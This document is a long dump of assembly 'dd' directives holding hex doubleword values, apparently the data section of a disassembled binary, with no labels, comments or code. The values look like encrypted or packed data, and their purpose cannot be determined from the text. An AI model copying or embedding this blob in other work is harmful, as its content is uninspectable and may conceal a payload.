dd 0D2BF5C1Dh, 41E85081h, 61BC7A00h, 0BCDBF57h, 0E9203F93h
dd 0AE012A13h, 0ED4A47CBh, 289C84B1h, 11D9CCBAh, 0DD011325h
dd 144B0E9Ch, 91CB4821h
dd 51C28C2Eh, 9EF5997h, 59274D8Dh, 7A0F29D9h, 0A4891449h
dd 0B0DCCE75h, 853818B0h, 456A0C23h, 156530Fh, 0ED95B7F9h
dd 168D2710h, 12B86FDCh, 0A9226E18h, 791E5FEAh, 0F6CC30FCh
dd 77313033h, 5834E5C2h, 9069229h, 335A140Ah, 0C78FF705h
dd 62F30907h, 627E8402h, 12625E40h, 68024E08h, 2098AA9Ch
dd 0F49559EFh, 5B39BD43h, 83BF4CE0h, 0A4B0752Bh, 4161C700h
dd 17E935CBh, 0FDCCBF42h, 875F5690h, 2F1B6B0h, 0F4DB276Dh
dd 0F041CF31h, 565902B6h, 1B484325h, 5B2BE84h, 10990502h
dd 6AEA5292h, 685E0700h, 0E8BC2437h, 4A2CF063h, 0E5A7B9A0h
dd 0A4800C64h, 4ACB756Ch, 0C9E534h, 7CE95F08h, 0B731714Eh
dd 0A36EF820h, 6FB7154Bh, 1257841h, 0E015184Ch, 78C5064Fh
dd 73353AE9h, 0BBFF104h, 0E4BA249Fh, 1604D8EBh, 0D1E90E99h
dd 0FBA61B0h, 171C7CC4h, 14CF0346h, 97685F0Bh, 5617996Eh
dd 923350FCh, 40F70011h, 5D0F7836h, 881283BEh, 9AED293h
dd 0E12E3209h, 0C581CDE0h, 526235E1h, 0AB25Eh, 0BE6520B8h
dd 540F717Dh, 0E47E594Fh, 8CAF2B87h, 515EED98h, 0DC9959D1h
dd 0B45B5DC2h, 47877E69h, 0B5011432h, 76BE067h, 0B3800082h
dd 0B2FB136Fh, 175A4E1Ch, 5643CB7Fh, 0D3135BAAh, 791E29BBh
dd 67E9C5BBh, 3F6E44FAh, 5D31BBF7h, 42FC7D3Ah, 13E39881h
dd 0EE4A2532h, 869572Fh, 479BD700h, 0BF010558h, 4443B9EBh
dd 7A20DF29h, 7D4516EEh, 0CA1FE052h, 3DC1090Ah, 0BE0EC901h
dd 4724BC34h, 0E0EB4C6Ch, 0FD0A4DA3h, 2A081549h, 96201F95h
dd 0C4530882h, 7EE408h, 6E5DDDBAh, 0E2098150h, 86A462FEh
dd 1210DAD4h, 49C0473h, 10D44DD6h, 0CC28AD75h, 405D7110h
dd 7D823FE6h, 0F6939F10h, 622F5981h, 0F5CA5690h, 0D706E255h
dd 0C544D498h, 9A041AC7h, 0A72CD003h, 4849DCB2h, 1861C167h
dd 0D41194Bh, 7798CEB7h, 222B5E32h, 0FBE3575Ah, 0A82C4414h
dd 2FA941F3h, 0CCBE6D65h, 0B841E598h, 0C8D7A22Ah, 0E9EDB01Ch
dd 0F39759F8h, 86A7BDEBh, 0FDCA70Bh, 9C60501h, 10BF0BDFh
dd 0AF0DC992h, 5C25E38Bh, 0AA085156h, 5EBF0113h, 4037F539h
dd 9C080AB8h, 0E7C14902h, 68A0E905h, 0EECD01C3h, 4DA867FFh
dd 3F2AC2C3h, 0B10B18E6h, 9CB2847h, 5F8A6245h, 7D6CC210h
dd 42A6A59h, 315E0A29h, 67A64381h, 58017BC4h, 5517B5CEh
dd 0E5B3E1h, 0CA2184B9h, 0C586B832h, 0BAC8310Bh, 2778BD21h
dd 0EC5B75DAh, 48C88E0Dh, 89E8217Eh, 0D58204F5h, 4E187F39h
dd 66BD32E6h, 0EEF76940h, 0A6C76884h, 81407699h, 88F63C80h
dd 7680E727h, 0E829665Ah, 89323CE7h, 0D2678402h, 8C04EF16h
dd 7FF53396h, 0C8C1721h, 90B0EC88h, 0C3A6F41h, 0E4675A17h
dd 0B753BF00h, 52EFD089h, 0C04600B2h, 0CAFE06EAh, 0A9B8D2F6h
dd 0D728C212h, 35A04104h, 0EDBC4795h, 9899927h, 65DCD7Fh
dd 0ADA64E9h, 0D84E5D90h, 0A85EF3BCh, 7864B297h, 0B25C5BD9h
dd 50604CF4h, 3A48D2E2h, 0D98321Fh, 0CE5FD01h, 864171A5h
dd 500936E9h, 7E772C39h, 57EC6825h, 9351F791h, 0B5ED70F2h
dd 0D867A73h, 0DFE977B5h, 0C847EB5h, 21F4CE8Dh, 85CAAB25h
dd 5B59C902h, 6D574030h, 215BB551h, 0DF3CC862h, 294BDD96h
dd 56D3CCBDh, 2E00EEA9h, 0E9687A05h, 4A22BD6Fh, 4F0AF454h
dd 0B9E8D70Ah, 5E53AB4Fh, 0B2E60160h, 3E0BB74Bh, 0DA9DF7D1h
dd 12DDCD8h, 495E76BCh, 7B127FE9h, 0A04A70CEh, 0F1FC3ADh
dd 0DEC606ECh, 5B84525Bh, 5EA5A21Ah, 0EAC4D9B1h, 805C9A31h
dd 97CE15CBh, 0CF685940h, 0FEADBBFh, 28D24665h, 98925610h
dd 0FCE99497h, 73D56EEAh, 0B12F07C9h, 0F9F3D364h, 1220267Eh
dd 1D780581h, 40E848B2h, 0C369C03Bh, 479575DFh, 1F35D89Dh
dd 0BE7C5BA7h, 38D6E909h, 5D683821h, 16E7607h, 4C9F1C76h
dd 0E8824F5Fh, 0B360E38Fh, 5AC09383h, 0B1E953B8h, 0B936B06Ah
dd 75324C0Ch, 6BD009C2h, 0C0480F61h, 79E13A29h, 0F3AC4EBFh
dd 2A24A14Ch, 4250039h, 0F73D8752h, 135D03Fh, 3139299Ah
dd 0F06F58C1h, 0FB6525B1h, 0D55C42h, 6AAEF8D8h, 8097C05h
dd 5BEF842h, 6C6B7519h, 8F450FEh, 7B6E3E60h, 0ECA0061Dh
dd 7E95E03Bh, 530ACC32h, 7F802294h, 8133A677h, 2A50BE7h
dd 487054D9h, 42C808E4h, 0E0003DCDh, 7559BE56h, 16FA63D8h
dd 29356E4Bh, 54C2D8BEh, 4BE975CFh, 4534553Ch, 6FAD86A0h
dd 0D86A292Dh, 0DE12A91h, 48C507B8h, 8F64AF70h, 0AC604E9Fh
dd 195C2716h, 9ED7C0DDh, 2632D406h, 0C9169715h, 6802127Ch
dd 0A08650FBh, 443F0F32h, 62B0474Ch, 0FE1ACB62h, 92E1D5C0h
dd 6538ED43h, 8D1CFB4h, 9175E280h, 0F2386776h, 3886809h
dd 3D61985Dh, 16EB2D80h, 2108D27Ch, 62350EAEh, 0D3ACB20h
dd 6C4C05A2h, 72C10537h, 258460ABh, 33123A1h, 5BC38B3Fh
dd 0D909A18Bh, 0A654012Eh, 81FA5344h, 0F236A5D3h, 0F925C579h
dd 5CEB001Eh, 5611D46Fh, 5212E91Ah, 385A5518h, 6F7EAA92h
dd 39B225F2h, 6848FBF4h, 65305E2Eh, 5CFA2E76h, 8D00C765h
dd 4A735150h, 0D3E4DA31h, 875608D9h, 0ADFA053Eh, 1246E85Bh
dd 74FEFC94h, 3FA0EF1Ch, 0A52B534Ah, 160F3650h, 10603Fh
dd 9143A7FEh, 0EC24E5Ch, 80FF4202h, 2606E692h, 180D6012h
dd 0DB61A89Ch, 0F7B7E92Ah, 0E97815B6h, 0BF1940D2h, 471E9009h
dd 0E9E0D55Dh, 741A99F7h, 0FD126428h, 0CCDAE161h, 0EAFE444Bh
dd 0EB33820Bh, 9EF90678h, 0B1511E44h, 0B7B51530h, 26FC0925h
dd 0AD7DDB1Fh, 80DE00E0h, 0E6C0FCEEh, 0EA0CC906h, 923CDFDEh
dd 3F1004E8h, 1AE90C02h, 955934BCh, 52E1547Bh, 1E270117h
dd 1041207Bh, 2D13B87Ch, 2BB09F7h, 3C606D3Fh, 520832E1h
dd 15E15980h, 60C73A16h, 71847F0Eh, 0A7AB011Ch, 3C4E1FE1h
dd 0CF20DE2Dh, 161B8466h, 2C77B148h, 280F9ECCh, 55A3A6E3h
dd 0ADBB0164h, 2910921Bh, 759CF1DFh, 72CB3038h, 0C3E59990h
dd 0AFC3063Bh, 4E54F059h, 0E2441603h, 0BA21D68Eh, 4274AA0Bh
dd 19687DB0h, 528F2C2Bh, 3BF3FC8Eh, 68208B6h, 0C00FD655h
dd 64471B1Eh, 0F1778AF6h, 83A63E8Ch, 0BB65404Eh, 1A3A2346h
dd 8A134790h, 46EF9035h, 0C41EE23Fh, 3ED72D09h, 0C396E138h
dd 0B8508A6Dh, 47750F22h, 0E897291Ah, 787E01C7h, 1BE90B98h
dd 0AC405928h, 9BD04D92h, 7B3AE15Bh, 0BE9682B3h, 0C2163564h
dd 0A6E57BBCh, 32683C28h, 0CBF8D96Ch, 0F01EA98Dh, 0B417A82Ah
dd 0F4C61CC1h, 1CD50CA5h, 0FC05A1A5h, 8CD4952Ch, 0BD37287Ch
dd 3AC268F2h, 2AE90908h, 0C257AC62h, 43CCF537h, 4358C314h
dd 0E70C049Dh, 0B880321Bh, 4BE02467h, 0F2FA000Fh, 0C58BFAAFh
dd 5909014Ah, 981B7074h, 10994AD7h, 1E07B908h, 0B33F173Eh
dd 234E6418h, 648085F5h, 69C34B7h, 0E90BDA29h, 9301425Fh
dd 3587C17Ch, 0AE93982Ch, 8FE0CC35h, 0BA2F40C9h, 0DF03FF69h
dd 0B5F560Bh, 0C280805h, 0E00DCE96h, 0B43F3F86h, 6912851Ah
dd 7402715h, 629C4E09h, 0E905A0BAh, 0C494826h, 0DB202286h
dd 21B9F22Ch, 0A30A1913h, 62A55396h, 2D33D828h, 137C5401h
dd 0EF28E4EFh, 0C1E240BBh, 0C9531F0Ch, 830860B4h, 54452F9Bh
dd 0A9C5EADh, 0BB8244E9h, 5B0B4A58h, 2103D02Fh, 772243B4h
dd 2E40956Ch, 98947795h, 48740BCBh, 1485E201h, 0B0087313h
dd 0E14E9842h, 63803A51h, 0B77134E9h, 0F342CFF9h, 7765DD69h
dd 0A85330Dh, 69CFCF2Fh
dd 8C4B455Ah, 0D8BFEEA0h, 8195A9B8h, 0E88340C1h, 0C99762EAh
dd 3AD02DEBh, 8920178Bh, 0E97620C6h, 0D2D118AAh, 4ABC97B6h
dd 0EA4F23Ch, 0D4FE1492h, 2CD804DCh, 0DE4FB0C9h, 0DBEAC03Dh
dd 2C3F0DA1h, 84E1318h, 0E9B69230h, 2FB3BED7h, 2F312FD9h
dd 0C9475854h, 0BD07A594h, 7E18C141h, 0F10547BBh, 2E0129A7h
dd 2DC329BDh, 0FE9D0354h, 0FCAB0BC0h, 0B1E92FD2h, 0EDC24B20h
dd 9A4F23CDh, 95D9FBA4h, 8D76E1C3h, 0BF000C5Ah, 0ED408EBAh
dd 12089814h, 0B07E7D42h, 0C3124848h, 11FF0C6Eh, 50C1D12Fh
dd 2D9831E9h, 9D941608h, 0F5125EEDh, 40E9894Ah, 2B3C0F19h
dd 0D8356ABDh, 0C24E4E30h, 3AC15D28h, 0CB4E2CF0h, 0BB23245Eh
dd 8513EE34h, 0E9B3BDA8h, 17E577B2h, 583C5E27h, 0A0BA456Bh
dd 5E04D26Ah, 0F10A051Bh, 8E7C6C88h, 0E62C91A6h, 766AD827h
dd 0F720C01Ah, 4A7992B2h, 1ED4908h, 9711DA2Dh, 40A1D46Eh
dd 7A4A3Dh, 24761328h, 3A4E1605h, 60825C32h, 526A5702h
dd 0B4F165Fh, 224E5697h, 6B84B4DAh, 4198FBB8h, 876ACA3Eh
dd 0F8895027h, 323ACC3Ah, 0F759BA01h, 0E907506Fh, 7F091417h
dd 2C988B66h, 111A717h, 0CD343F8h, 0C643D245h, 713BBD0Ch
dd 2330C3Ch, 0E94B5E75h, 0EC4622CFh, 2AA3504Bh, 138CE397h
dd 2C4555E9h, 76C3F309h, 0EF650316h, 2A5650C9h, 0A7073ED9h
dd 7ADC8Eh, 6E4433FFh, 40F3D729h, 127CA582h, 0BDE97512h
dd 0CA2036A1h, 290DC1EBh, 51555BDDh, 22B5A65h, 0D643DFB3h
dd 0E3C0C390h, 3848025Ch, 5BD917A1h, 229BB2A0h, 0E92DF130h
dd 62800491h, 1B957E0h, 4A717E84h, 283FB268h, 1D29C1BEh
dd 0B940213Bh, 13AF0B63h, 0E453E96Dh, 0F90CF353h, 0C3E6C66h
dd 31331604h, 0DE7E0274h, 1A620D98h, 0E98E0356h, 0ED39589Dh
dd 45441E3Bh, 84A6CC41h, 0A5772C16h, 0D25E0125h, 0FE189066h
dd 17882F46h, 724AA4D8h, 25822413h, 2D27767Ch, 68E18D59h
dd 642B743Dh, 0F35D8116h, 71AB4439h, 0AF08DFE3h, 0E51F4816h
dd 7333250Ah, 9ACC5B78h, 16EABF08h, 0AB7D8Dh, 34EDF272h
dd 0ED9056ECh, 0F3192901h, 47D7F720h, 16652130h, 0FE2CE67Ah
dd 2B8F0E49h, 13B49C30h, 0EBF24CE9h, 3C92B974h, 41752936h
dd 6AC47BEDh, 4ECBFA3Ah, 0FCABD997h, 729A5C64h, 2A7198C0h
dd 30811626h, 0E90D75F7h, 5E95424Dh, 0D69A5B69h, 555121FDh
dd 0BC9D653Dh, 0CDECAD67h, 0E837029Dh, 0C127C630h, 0A6194270h
dd 45C68226h, 6154B234h, 0E73BFC3Fh, 0A565EEEh, 25DA6800h
dd 37E964E3h, 0F0D3D0F4h, 315A5D36h, 2F1E6495h, 297145EBh
dd 9609688Eh, 403A97CCh, 200704A6h, 0D8F6C8FEh, 5CF7C047h
dd 83B1D064h, 0F0E9168Bh, 6BFCAE0h, 50754439h, 2B179ECCh
dd 22C2017Ch, 0F60889E9h, 749F059Eh, 0C3B40934h, 0E5555FC2h
dd 0F1888C65h, 0EA5FB7B0h, 2CA25DFCh, 49CEF37Dh, 9D7E9657h
dd 3913726Ch, 64EB010Dh, 6DD0BECDh, 0ACA4584h, 0D8B85070h
dd 31DD3AE1h, 0AF33502h, 62771917h, 0DF29CAE5h, 0B4FFFE09h
dd 0A9CD5DB3h, 53BFB05Eh, 89BB683Ah, 5F5B5D19h, 38AB5711h
dd 4E14A0Fh, 96FF6EE0h, 739B802Dh, 44297D70h, 40182FCBh
dd 9055B68h, 104A1663h, 4D13A078h, 36EF0109h, 65B008CEh
dd 0E169147Fh, 2B280BCh, 9F0C8079h, 2D06940Ch, 22630AA2h
dd 472AC269h, 9541AA5Fh, 0E9109A58h, 5F7BF243h, 0A03AE91Ch
dd 0A64A32E9h, 0B25598D8h, 1FE3BF4Eh, 0B7EC38h, 33251CA5h
dd 6716D021h, 8866D8F7h, 27F8BE01h, 0AD6D1C5Ch, 6C7D3104h
dd 4E98807Bh, 0B7C4B49h, 25F5E205h, 0F591791Ah, 40AF12AEh
dd 0D73409EFh, 7CF75882h, 0C15A4D99h, 2F4ED139h, 27BD8580h
dd 0E446092h, 0B24DDAC2h, 21E93509h, 2E2E819h, 6C0B274Ch
dd 80AA14Ah, 3525169Bh, 0B13DA8BBh, 4043F53Eh, 51D9DAF3h
dd 0F9FE638Dh, 4FF66F02h, 7D2F643Bh, 8FE69EF8h, 33B03207h
dd 0C0E9E94Dh, 0B0D3F682h, 80340E6Bh, 0C66E36EEh, 85F728EBh
dd 26AADAE4h, 68E88826h, 491B173Ch, 0F8997CB9h, 2509CE08h
dd 647B2CF5h, 0A83AE128h, 750DDACEh, 0E1D13004h, 0E6A88F2h
dd 0EE5E12D4h, 0EB2DEE04h, 0F90BF01h, 0E71530B9h, 3A25EE04h
dd 0BEC04F65h, 6FDE203Ch, 21220C6Fh, 91DD5562h, 7AD105D0h
dd 0B2D16F4h, 3CB77081h, 6A00FCDEh, 53D195Ah, 88572DB8h
dd 7A020DCh, 0FF0E597Dh, 0A02EDC11h, 1F022FC7h, 2DF82101h
dd 12F14830h, 4979254Fh, 84BC72DCh, 21F5F3A1h, 0D08CC2AFh
dd 0A92D81A4h, 8310FD5h, 0F4F5AB58h, 973ACEFh, 0B99ABC7Bh
dd 75D68E02h, 0D5506209h, 34C1B82Eh, 3F9328A6h, 0E21C4CE8h
dd 4FBE493Ah, 0CE836341h, 551CD3D0h, 310224E0h, 0CCB0E9FAh
dd 3AF204C8h, 0FCF911B3h, 504833h, 51A01D72h, 49E9E829h
dd 5D3B1038h, 93621213h, 1484606Ch, 83D75088h, 1EAFB980h
dd 896A7D68h, 0C75FF1FBh, 347D25D7h, 4BB4BC5Dh, 686050F1h
dd 0B280DB9h, 0EFF6E94Fh, 21679C57h, 8C2CB850h, 65380502h
dd 41CF6368h, 462E0828h, 2D0F3FF8h, 7412DF90h, 0D1BA03A2h
dd 4DB648Ah, 9DC709E0h, 0C858D906h, 0D407AB0Dh, 1FD40C2Ah
dd 0E56A4E94h, 6020C42Dh, 590C5Ch, 210612Ah, 285BD931h
dd 60C6CD89h, 0AF57767h, 7502985Fh, 6806EDC1h, 62ECDF5Ch
dd 631A3804h, 2CC04A0Bh, 28EA422Dh, 16DB2119h, 0CAFF31E9h
dd 0AEC60196h, 312246FBh, 74DBD342h, 0E3B2C9Ch, 0EBD2334Ah
dd 5D2C9A9Dh, 0F65B8C17h, 0A30CC475h, 6810BFBDh, 585F2F1Fh
dd 61AA148h, 48985E02h, 123CC3F7h, 5D24E796h, 62828D0Ch
dd 0E6B4595Fh, 6860A1D5h, 40765C40h, 4FE72D10h, 0EA7B00AFh
dd 593B4674h, 0BD5D8BFCh, 0DD994A0Fh, 0BDF97030h, 0FEEA9FC0h
dd 6014CAE6h, 13C1B450h, 2CBFECAEh, 719F14CAh, 88617A02h
dd 3C4F3947h, 537A081Eh, 12EFAC5Eh, 0DE9BA9F3h, 7FF8C1CAh
dd 35F53A18h, 2F311239h, 8544FB6Eh, 49445CE3h, 61E2AB66h
dd 0C562987Eh, 0F4A1111Dh, 7E092DAAh, 0C551545Dh, 2604AC0Eh
dd 2DB50359h, 0D0C315FFh, 2034ED48h, 0BC07B458h, 0B9D9EEAFh
dd 253D1700h, 13BE5603h, 49BA1F8Dh, 0BAF70849h, 0FD4E409Ch
dd 23342418h, 38FE0F41h, 21C50C38h, 0B4271C31h, 82057AB3h
dd 4460046Ah, 3F2D0E4Ah, 507A7010h, 0B17C925Fh, 8BEB1C75h
dd 76655BDAh, 3E1C7425h, 9816BFCBh, 0AA9269A3h, 6BCF5041h
dd 245D2E51h, 16771320h, 0CC4FE179h, 0EB14291Bh, 25D5DD87h
dd 60F9E239h, 726902ABh, 5B84F6EDh, 0D7D7E893h, 5EF1F6ECh
dd 68B15043h, 15B43D12h, 82373061h, 0AA6F68Ch, 230BF391h
dd 76798A4Dh, 581CF20h, 0F053FC36h, 7F1BECE3h, 0E8187C91h
dd 0B831EB6Dh, 97BE92BBh, 183F2145h, 0F74AEAA8h, 255678DBh
dd 82E48227h, 0BD2A5E79h, 595B09FEh, 0E9C29BF6h, 95A72619h
dd 5C1772CFh, 89ECE7FDh, 1CCC7D2Ah, 69DAB6h, 0E02B1B99h
dd 5FC18067h, 126F394Ch, 66BA9022h, 24C28C45h, 7FC70E47h
dd 79183DC0h, 0FE54582Dh, 0C20B41A2h, 0BBD24251h, 94F588EAh
dd 41681C13h, 4453873h, 0ABB652FDh, 0F2FECFD4h, 0AFE9A1FFh
dd 5E75CE68h, 25DFBD51h, 0DDA9FDD8h, 0C627CD76h, 38517F80h
dd 715FE361h, 517EBFEh, 0D337D5B9h, 205B6C65h, 0FEFB70B5h
dd 0A17FE901h, 0FD08A7F1h, 53593AA3h, 0F8E9EFDBh, 0E9109D5Bh
dd 0E93D43E7h, 2BE047B7h, 0E6C78343h, 3AB05B4Dh, 0A22A5927h
dd 0C4B13A96h, 161B12A9h
dd 2CAEE89Bh, 4717835Eh, 86EA15C2h, 80125808h, 502139C8h
dd 12F696C5h, 0FB5E3722h, 9A031956h, 127B2A63h, 0A630D562h
dd 0B352500Dh, 0F6F29297h, 0B05D693Fh, 53B70E0h, 0B368469Fh
dd 0C4D6E84Bh, 0E9BC260Ch, 60C491C0h, 235CE9B9h, 4A625FE2h
dd 6BCB40CAh, 0E4999F30h, 7D623872h, 0C0448F5Fh, 2ACD4183h
dd 0C96DE23Eh, 58AB5E5Eh, 86262109h, 0A4028464h, 0C0D2E0E1h
dd 2F02A9FCh, 0BCC43767h, 252AE925h, 13FEEBA2h, 1FB2B647h
dd 7DA72190h, 0FE95A59Eh, 9B55510Bh, 85C720BCh, 0C69545FAh
dd 1E3D8174h, 0B3E63B09h, 3385E90Ch, 86C52D30h, 0A3B253B9h
dd 1E588CC9h, 2F450504h, 0DE2132Ch, 0B6933580h, 1690D8ADh
dd 0CA3D5D09h, 9D240062h, 844DB456h, 1C400883h, 0AA5AE914h
dd 0B0E741AEh, 0BE054472h, 9941090Ch, 25B3D850h, 13C5B14Ch
dd 281FE208h, 4376164Ah, 0B797E0E6h, 78664D26h, 9CEBC08h
dd 0CA03E089h, 497ED057h, 4161B60Bh, 639C0F7Ah, 0D9739647h
dd 0B76FEE9Bh, 2D921604h, 2CBBEA53h, 0B955743h, 2D2434DEh
dd 28FC1D68h, 0DCA20FC2h, 22C56115h, 85842801h, 30BA71CEh
dd 53697790h, 0E1812501h, 64FD23D7h, 0A82A4071h, 29774BDFh
dd 0EB46D2E2h, 5016B24Eh, 78BB386Bh, 0BF61E392h, 54505720h
dd 7ACFBE58h, 22BA0D40h, 0ED704124h, 7BCE3800h, 24662D3Eh
dd 0A0F2A23h, 290705C8h, 0E01CC422h, 0D8BD55ABh, 1874012h
dd 6A05F027h, 44D5038Bh, 0B4CE4BE7h, 4BE2EF15h, 0BC67FA3Ch
dd 8C728F7h, 0F6B75E4Eh, 2275858h, 654FA1E9h, 3E0ECDBh
dd 170D3500h, 2D401BCCh, 0D9EA0FECh, 0E9EF214Bh, 0EFDEAD1Eh
dd 9CDB962h, 0ED8907FFh, 4FF86471h, 0E4C5909Eh, 0ECD113E0h
dd 0FD0909A8h, 6164D55Fh, 0F30BCDECh, 74486769h, 30E6C157h
dd 256E815Bh, 1939105Ch, 12E99060h, 0A848522Fh, 777F7E21h
dd 35012EECh, 8446638Ch, 0A22EC529h, 3230DFBDh, 9FDECBE9h
dd 0FC59E4A5h, 24BCDF05h, 5AAD5B6Ah, 4304136Eh, 80180652h
dd 0FB79393Ch, 0EC69B8F0h, 0B382F710h, 68E8A777h, 0AB2DC2B9h
dd 9CA1844Bh, 7648C882h, 0FA08A06Dh, 0D1C2E3BEh, 0BC56F1Dh
dd 55D199D8h, 0BC94AB13h, 260A2BFBh, 8921270h, 923D5EA9h
dd 38783D9Ch, 0A93DBC4Bh, 60BBC97Ah, 9A95A9D6h, 0E91F30D0h
dd 71925A21h, 2802687Ah, 67B069A3h, 19FB075Fh, 16CCEA51h
dd 9B442AEh, 9F585BDFh, 0E038C698h, 0FDD27021h, 0A96C74ABh
dd 8BAAD357h, 0C62F7D94h, 0F2CD5602h, 2592445Dh, 0C1FEDFF8h
dd 0F0EAF273h, 0EDB13B50h, 0BD27A692h, 2AD71E11h, 0EA211006h
dd 0FDDD2FD0h, 0DE9F71C6h, 0B27F4B75h, 88467D7Dh, 0F7F20F84h
dd 0EF3F2DFEh, 0F86B2D7Fh, 7707829Eh, 65642C11h, 236CF8F7h
dd 2D0DC301h, 3D597A0Ch, 6383C06Bh, 0ABF7BA7h, 0B0085EF4h
dd 0CBDC3BB6h, 7268560Eh, 0E9A03053h, 51B7514Ah, 0AD56E24Dh
dd 0B77453DCh, 74882F1h, 2B8A5A13h, 0C22AA15Eh, 4C78AC42h
dd 0C2006EE2h, 0C6BF5708h, 12017C0Ah, 0B8B8FEE9h, 0FF0CC4BBh
dd 0D3BB5300h, 344FBE26h, 62D12F0Ch, 655809E9h, 37E0A406h
dd 66810BB6h, 25EDB68Fh, 4469A549h, 5BB86AE3h, 29EB29E1h
dd 0CA569F4Fh, 843EB429h, 3ACBFE96h, 0A3250117h, 0A7680987h
dd 0D39D531h, 0CA142A2Ah, 55530307h, 0E14E3DACh, 473F0818h
dd 0E47E3626h, 83D4AB63h, 0C61C0818h, 4C992F7Fh, 0BA0DDFFEh
dd 0A67F361Dh, 4D23311Bh, 0E03AEC80h, 0CFEC4AA5h, 0BABD24Fh
dd 79E2FAB6h, 87F1D305h, 0F6019813h, 8E1C0D1h, 410F7D30h
dd 0EBB72064h, 0C4FFED0Bh, 40B3C0E3h, 0EBBD96F4h, 0C2815D72h
dd 0A5BF10A8h, 0C7C6A05Eh, 95DC7983h, 0E4B34778h, 0DEEF5A12h
dd 0A3575AC9h, 21CFDECh, 3F076A0Bh, 110315Fh, 0D6F97C44h
dd 0DF70CA9h, 522F3372h, 6E9C1F3Bh, 202C0908h, 51B66598h
dd 0B5E6507Fh, 88524001h, 35DCE9EEh, 0BBD28F53h, 0B70EDEC8h
dd 55CBBED9h, 11F546ECh, 0F710F965h, 0F978D76h, 5E35837Ah
dd 37E9BD43h, 0FF410841h, 9F3DF228h, 0A26EE017h, 68E661C2h
dd 0F2E262C5h, 0DD8A2799h, 486210D6h, 0EF294805h, 581FFAFEh
dd 277D7164h, 9AF29BE2h, 58D11526h, 1259C88Ch, 35444EEAh
dd 48A5243h, 68D42Eh, 2318FABBh, 4B3BF414h, 0EC0ADD80h
dd 5C9AC3F9h, 0D40A1E01h, 2DE8015Dh, 90550746h, 2AC891A5h
dd 0B53245Dh, 0EE0244FEh, 0FA3D774h, 3F66C84Ah, 0A46B2D41h
dd 0B2A0061Fh, 4F04425Dh, 0BA30E927h, 38028CCh, 5066F5EFh
dd 0F4B87CB4h, 0EC28C01Bh, 0F94EA106h, 75EB1FD0h, 2E510960h
dd 1A88F301h, 3BEB2408h, 14727AE2h, 0D75B5402h, 5E2083BEh
dd 0D70124ECh, 18053D86h, 0AA5A3F2Fh, 9F691A98h, 90B2B862h
dd 0E8E0082h, 5DA3F546h, 4AEDA8FDh, 7BDF2FFDh, 2DB500DAh
dd 0B8663D1h, 5D80114h, 7BE4807h, 29FE683Ch, 6604A032h
dd 2527C53h, 7F94251h, 0E95EE3E9h, 0CC03AC87h, 41FB21D4h
dd 8F4F8DF0h, 68E5D82Ah, 634E5E18h, 302BA70Ch, 0C7241A3Bh
dd 913BD14h, 0AE65E931h, 0B500D6ACh, 295B3F08h, 30C059CBh
dd 5C180276h, 91DD4C01h, 5A420841h, 0B9BD00F3h, 2D5F0962h
dd 0F83BB9A1h, 1F502ADh, 0C2023E07h, 90734014h, 0DD21281Ah
dd 5AED01CEh, 0E90BFEBDh, 5A9F2C9Bh, 0E32F793Dh, 1CE9133Ch
dd 0C7FED181h, 92E536DCh, 53583EC3h, 0BAC09197h, 0E4F11609h
dd 887A2D32h, 8454A4B4h, 0D53CF7E5h, 525B184Dh, 0FA14E52Fh
dd 30BE98BFh, 0EB1710C6h, 0FA01B807h, 2090519h, 0F4D47B56h
dd 14352E1Fh, 69150203h, 0EE742DE3h, 0C342038Bh, 9A94E3A0h
dd 0E910E02Fh, 0FD2D5895h, 5117E9D4h, 880E31FDh, 0F15FCAF9h
dd 62FA4970h, 32AE0A5Ah, 0E048E827h, 200FB252h, 7CD38853h
dd 0B1E66E92h, 2D77B411h, 52A27134h, 0E4F66490h, 77E3181h
dd 1616CFEFh, 9E201C40h, 6C2927FDh, 0A4605F7Ch, 257C5557h
dd 9BF5AF68h, 4E53F8B1h, 2E9172Fh, 0D8813D31h, 3C1752CAh
dd 0BC80303Fh, 6162B2E7h, 26CDD831h, 0B0500001h, 0EB80076Fh
dd 0E5C32820h, 4306F578h, 0C5B0C9Bh, 0A3B8ABF0h, 93AE85EAh
dd 0CDC850FEh, 4C02A904h, 9E515FBDh, 1E02F51Ah, 0A07D7029h
dd 612B12A9h, 9679833h, 58C3364Ah, 0B9902FFh, 4FD67EBCh
dd 0B9EB107h, 0A7B36757h, 35C4B07Dh, 0B90CC0A4h, 0AB5096Bh
dd 0DD96817Bh, 64D6A5h, 8826850h, 37983CE6h, 4ACCA20h
dd 89F73D35h, 0E4DFC2A8h, 304321D4h, 0F16F02FDh, 74AA1DA3h
dd 0E237005Dh, 0BF898C20h, 68F86A00h, 0EA9C6A27h, 3C967B6Dh
dd 823CA5E9h, 0C172C20Ch, 3A960079h, 179408Ch, 8880E98h
dd 68165EF1h, 6B885333h, 7366C151h, 0B9591395h, 0E0A613D5h
dd 16D9A3A8h, 0E5F66E74h, 79184D4Dh, 7CB8187Bh, 78521318h
dd 2543DE74h, 0EF09E3D5h, 29B77F8Fh, 0B7E22B06h, 3028127Fh
dd 1275BC35h, 80E8DBB9h, 36E068B0h, 500CE980h, 2BAC416h
dd 79DF1BEFh, 90E0D631h, 330237B9h, 0F0E91E0Bh, 93FB55B0h
dd 166C6884h, 0EE7138FBh, 5B173B94h, 0B83B20EBh, 29024102h
dd 6183250Ch, 21A58DEh, 0A27A7605h, 908B513Fh, 43682681h
dd 4B95737Dh, 6885FE94h, 0AD3A6BF1h, 0D94284ECh, 0E5DC8016h
dd 0ECE8D5F6h, 5383C1B5h, 0FAA2C160h, 7C5870E7h, 0D35B70FCh
dd 0B15E920Eh, 6857F24Ah, 0EB80070Dh, 73E484E6h, 2706B1C8h
dd 25A6917h, 684E01BDh, 0FD8B3D54h, 68B20198h, 357A7160h
dd 0B10E4093h, 0E90EA310h
dd 73EDFD33h, 13345526h, 820ED4F8h, 0D1F32C80h, 3126172Ah
dd 81C0F32Dh, 90D07E1h, 0D1F77EEDh, 921C400Fh, 0AA8C846Dh
dd 46E2DA67h, 7296A9FBh, 9D979A3Ch, 2F118D4h, 759E6608h
dd 0D62D5E89h, 0AE426453h, 98B02961h, 6855203Ah, 9C917FE3h
dd 12EC6EADh, 0F358BA68h, 1F8A10CDh, 74C38000h, 2C5BD808h
dd 0ED2ECBA0h, 68418791h, 0E78A3703h, 0CB1067BAh, 79426356h
dd 3C1F24Ah, 0D6B35A0h, 0C5A8E8D1h, 2F2D98DEh, 0B44FC31h
dd 6A4921B3h, 0CF80C705h, 0C9B5633Dh, 8B60D3FFh, 0E42B1640h
